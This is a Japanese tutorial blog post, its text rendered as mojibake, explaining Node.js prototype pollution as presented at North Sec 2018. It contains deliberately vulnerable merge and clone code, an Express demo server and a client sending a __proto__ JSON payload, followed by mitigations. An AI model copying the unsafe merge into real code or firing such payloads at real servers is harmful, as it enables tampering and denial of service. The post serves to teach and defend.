Node.jsã«ããããããã¿ã¤ãæ±ææ»æã¨ã¯ä½ã
1. ã¯ããã«
æè¿ãããã£ã¦Nodeã®ã»ãã¥ãªãã£èª¿æ»ããã¦ããã®ã§ãããä»å¹´ã®5æã«éå¬ããã North Sec 2018 ã§ã»ãã¥ãªãã£ç 究è ã® Olivier Arteau æ°ã«ãã ãPrototype pollution attacks in NodeJS applicationsãã¨ããé¢ç½ãçºè¡¨ãè¦ã¤ãã¾ããã
ãã®çºè¡¨ã®è«æãçºè¡¨è³æããã¢åç»ãªã©ãgithubã§å ¬éããã¦ãã¾ãããã¡ããã©ã¿ã¤ãã³ã°ããã»ãã·ã§ã³åç»ãæè¿å ¬éããã¾ããã github.com
Olivier Arteau -- Prototype pollution attacks in NodeJS applications
ãã®çºè¡¨ã§è§£èª¬ããã¦ããã®ã¯ãæªæã®ããæ»æè ããJavaScriptè¨èªåºæã®ãããã¿ã¤ããã§ã¼ã³ã®æåãå©ç¨ãã¦ãWebãµã¼ããæ»æããæ¹æ³ã§ãã
çºè¡¨è ã¯ãnpmãããã¦ã³ãã¼ãã§ããã¦ã¼ã¶ã¢ã¸ã¥ã¼ã«ã調ã¹ãããlohdash ãå§ãã¨ãã¦å¤ãã®ã¢ã¸ã¥ã¼ã«ã«ãããã¿ã¤ãæ±æã®èå¼±æ§ããããã¨ãçºè¦ããå ±åãè¡ãã¾ãããããã¦ãå®éã«èå¼±æ§ã®ãã Ghost CMS ã«å¯¾ãã¦ããã¹ã¯ã¼ããªã»ããã®ãªã¯ã¨ã¹ããç´°å·¥ãã¦ãµã¼ãä¸ã§è¨ç®æ©ã¢ããªãå®è¡ãããã¢ã¾ã§æåãã¦ãã¾ãã
JavaScriptã®å®è¡ç°å¢ã«ããã¦ãããã¿ã¤ãæ±æãçºçãã¦ãã¾ããã¨ã®å±éºæ§ã¯ãå¤ãããè¨ããã¦ãããã¨ã§ããããããNode.jsã®ç°å¢ã§Webãµã¼ãã¸ã®æ»æã«ä½¿ãããã¨ãããã¨ã¯ãããã¾ã§ãã¾ãæèããã¦ãªãã£ãã®ã§ã¯ãªããã¨æãã¾ãã
èªåã®åå¿é²ãå ¼ãã¦ãããã§ã¯ãã®æ»æã®ä»çµã¿ãªã©ã解説ãã¦ã¿ã¾ãã
2. __proto__ ã®ç¾ç¶
ãªãã¸ã§ã¯ãã®ãããã¿ã¤ããåç §ãã __proto__ ã¯ãæããä»æ§å¤ã§è£æã£ã½ã使ããã¦ããæ©è½ã§ããããããç¾ç¶å®è£ ã®è¿½èªã¨ãã©ã¦ã¶éã§ã®æ©è½äºæãæããããã ECMAScript2015 ã§ä»æ§ã«å ¥ãã¾ããã developer.mozilla.org
ä»ã«ã __proto__ ã¸ã® setter/getter ã¨åæ§ã®æ©è½ã§ãã Object.setPrototypeOf/getPrototypeOf ãè¦å®ããã¾ãããããããMDNã§ã¯ãããã¿ã¤ããªãã¸ã§ã¯ããå¤æ´ãããã¨ã¯åºæ¬éæ¨å¥¨ã®æ±ãã§ããä»ã®Node.jsç°å¢ã§ã¯ããã¡ããã©ã¡ãã使ãã¾ãã
3. ãããã¿ã¤ãæ±æ
ãããã¿ã¤ãæ±æã¨ã¯ã©ããããã®ã§ããããï¼
ããæ¹ã¯ããããããããã§ãããä»åçãããã®ã¯ããªãã¸ã§ã¯ããªãã©ã«ã® __proto__ ã Object.prototype ã¨åä¸ã§ãããã¨ãå©ç¨ãã¦ãä»ã®ãªãã¸ã§ã¯ãã®ããããã£ã¢ã¯ã»ã¹ã«å½±é¿ãä¸ããããæ¹ã§ãã
const obj1 = {}; console.log(obj1.__proto__ === Object.prototype); // true obj1.__proto__.polluted = 1; const obj2 = {}; console.log(obj2.polluted); // 1
ä¸è¨ã®ä¾ã§ã¯ãobj1ã®ãããã¿ã¤ããªãã¸ã§ã¯ããæä½ãã¦ãå ¨ãé¢ä¿ãªã obj2 ã®ããããã£å¤(obj2.polluted)ã undefined ãã 1 ã«æ¹å¤ããã¦ãã¾ãã
çºè¡¨ã§ã¯ã以ä¸ã®ï¼ã¤ã®ãã¿ã¼ã³ã§ãªãã¸ã§ã¯ãã®ãããã¿ã¤ãæ±æãèµ·ãããã¨ãç´¹ä»ããã¦ãã¾ãããããã __proto__ ã key ã«æã¤ä¸æ£ãªãã¼ã¿ããªãã¸ã§ã¯ãã«ç»é²ããããã¨ã«ãã£ã¦ãObject.prototype ã®æä½ãçã£ããã®ã§ãã
- ããããã£ã®è¨å®
function isObject(obj) { return obj !== null && typeof obj === 'object'; } function setValue(obj, key, value) { const keylist = key.split('.'); const e = keylist.shift(); if (keylist.length > 0) { if (!isObject(obj[e])) obj[e] = {}; setValue(obj[e], keylist.join('.'), value); } else { obj[key] = value; return obj; } } const obj1 = {}; setValue(obj1, "__proto__.polluted", 1); const obj2 = {}; console.log(obj2.polluted); // 1
- ãªãã¸ã§ã¯ãã®ãã¼ã¸
function merge(a, b) { for (let key in b) { if (isObject(a[key]) && isObject(b[key])) { merge(a[key], b[key]); } else { a[key] = b[key]; } } return a; } const obj1 = {a: 1, b:2}; const obj2 = JSON.parse('{"__proto__":{"polluted":1}}'); merge(obj1, obj2); const obj3 = {}; console.log(obj3.polluted); // 1
- ãªãã¸ã§ã¯ãã®ã¯ãã¼ã³
function clone(obj) { return merge({}, obj); } const obj1 = JSON.parse('{"__proto__":{"polluted":1}}'); const obj2 = clone(obj1); const obj3 = {}; console.log(obj3.polluted); // 1
ãããã«è¿ãæ©è½ãæä¾ããã¦ã¼ã¶ã¢ã¸ã¥ã¼ã«ã®å¤ãã«ããããã¿ã¤ãæ±æã®èå¼±æ§ãè¦ã¤ããä¿®æ£ããã¦ãã¾ãã ããã¤ãä¿®æ£é¨åãè¦ã¦ã¿ã¾ããããkey ã __proto__ ã®å ´åã«å¦çãã¹ããããã対å¿ã§ããã
æ»æè ã¯ãå¤é¨ãã Object.prototype ãæä½ã§ãããã¨ãããä¸è¨ã®æ§ã« undefined ã®ããããã£ãæ¹å¤ããã ãã§ãªãã for-in loop ãçã£ãããtoString ã valueOf ãªã©ã®ã¡ã½ããããªã¼ãã©ã¤ãããããããã¨ãå¯è½ã§ããDoSãªãç°¡åã«èµ·ããããã§ãã
4. å®éã®æ»æ
çºè¡¨ã§ã¯ãå®éã®CMSãµã¼ãã«å¯¾ãã¦ãã¹ã¯ã¼ããªã»ããã§éä¿¡ããJSONãæä½ãã¦æ»æãè¡ãããæ¹ã解説ããã¦ãã¾ããã
ç®èãªãã¨ã«ããªãã¸ã§ã¯ãã®ãããã¿ã¤ãæ±ææ»æãæåããå ´åã«ããµã¼ããã¯ã©ãã·ã¥ãããåãããã¾ã¾æ»æããã®ã¯ããªããªãé£åãªæã§ãã ãã¢ã§ã¯ãæ§ã ãªå·¥å¤«ããã¦CMSãã³ãã¬ã¼ããæä½ãã¦ãã¹ãç¨ã«æ®ããã¦ãããã¡ã¤ã«ã«æ¹å¤ããããããä»»æã®JavaScriptããµã¼ãä¸ã§å®è¡(è¨ç®æ©ã¢ããªãç«ã¡ä¸ã)ããã¦ãã¾ãã
ããã§ã¯ãJSONãåãã¦å¦çããç°¡åãªWeb APIãµã¼ããããããã¿ã¤ãæ±ææ»æã«ãã£ã¦ã¬ã¹ãã³ã¹ãæä½ããããµã³ãã«ãä½ã£ã¦ã¿ã¾ãããã
- èå¼±æ§ããããµã¼ãã³ã¼ã
å¤é¨ããåä¿¡ããJSONããã®ã¾ã¾å¥ã®ãªãã¸ã§ã¯ãã« clone ãã¦ãã¾ãã
function isObject(obj) { return obj !== null && typeof obj === 'object'; } function merge(a, b) { for (let key in b) { // æ¬å½ã¯ã key ã __proto__ ã®æã«å¦çãã¹ããããã¹ã if (isObject(a[key]) && isObject(b[key])) { merge(a[key], b[key]); } else { a[key] = b[key]; } } return a; } function clone(obj) { return merge({}, obj); } const express = require('express'); const app = express(); app.use(express.json()); app.post('/', (req, res) => { // ããã§å¤é¨ããä¸æ£ãªJSONããã®ã¾ã¾cloneãã¦ããªãã¸ã§ã¯ãã®ãããã¿ã¤ãæ±æãèµ·ãã const obj = clone(req.body); const r = {}; // ãããã¿ã¤ãæ±æã«ãã£ã¦ r.status ãæ¹å¤ const status = r.status ? r.status: 'NG'; res.send(status) }); app.listen(1234);
- ãããã¿ã¤ãæ±ææ»æã³ã¼ã
ã¯ã©ã¤ã¢ã³ãã®æ»æã³ã¼ãã¯ã__proto__ã®ããããã£ãæã¤JSONããµã¼ãã«éä¿¡ããã ãã§ãã
const http = require('http'); const client = http.request({ host: 'localhost', port: 1234, method: 'POST' }, (res) => { res.on('data', (chunk) => { console.log(chunk.toString()); }); }); const data = '{"__proto__":{"status":"polluted"}}'; client.setHeader('content-type', 'application/json'); client.end(data);
æ»æçµæã§ããéãè¾¼ãã JSONã«ãã£ã¦ãµã¼ãä¸ã®ãªãã¸ã§ã¯ããããã¿ã¤ããæ±æãããresponseå¤ã NG ãã polluted ã«æ¹å¤ããã¦ãã¾ãã
$ node client.js polluted
5. 対ç
ãã®æ»æãç·©åããã対çã¨ãã¦ã以ä¸ã®ï¼ã¤ã®æ¹æ³ãæãããã¦ãã¾ãã
Object.freeze ã使ãã
Object.prototype ã Object ã freeze ãã¦æ¹å¤ãä¸å¯è½ã«ããæ¹æ³ã§ããå¯ä½ç¨ã§åããªããªãã¢ã¸ã¥ã¼ã«ãã§ããªã¹ã¯ãããã¾ãã
JSON schema ã使ãã
avjã¢ã¸ã¥ã¼ã«ãªã©ã使ã£ã¦ãJSON validation ãè¡ãæ¹æ³ã§ãã
Map ã使ãã
key/value ãä¿åããããã ããªãããªãã¸ã§ã¯ãã使ãã Map ã使ãæ¹æ³ã§ããES5以åã®å¤ãç°å¢ã§ã¯ä½¿ãã¾ããã
ã¡ããã¨æèãã¦ããªãã¨å¿ãã¦ãã¾ãããã§ãã
6. ã¾ã¨ã
è¨ããã¦ã¿ãã°ãããªãã§ãããå¤é¨ããã®JSONãå¥ã®ãªãã¸ã§ã¯ãã«deepã³ãã¼ããã ãã§æ»æããããã¨ã«ãªãã®ã¯ãã¡ãã£ã¨é©ãã§ããã ãã£ã±ãå¤é¨ããã®ãã¼ã¿å¦çã¯æ éã«ã§ãã
èå¼±æ§ãææãããã¦ã¼ã¶ã¢ã¸ã¥ã¼ã«ã®å¤ãã¯ãæ¢ã«ä¿®æ£ããã¦ãã¾ããå¿å½ããã®ããæ¹ã¯ãä¸åº¦ npm audit ã§ç¢ºèªããã¦ã¿ã¾ãããã
$ npm audit === npm audit security report === # Run npm install [email protected] to resolve 1 vulnerability Low Prototype Pollution Package lodash Dependency of lodash Path lodash More info https://nodesecurity.io/advisories/577 found 1 low severity vulnerability in 1 scanned package run `npm audit fix` to fix 1 of them.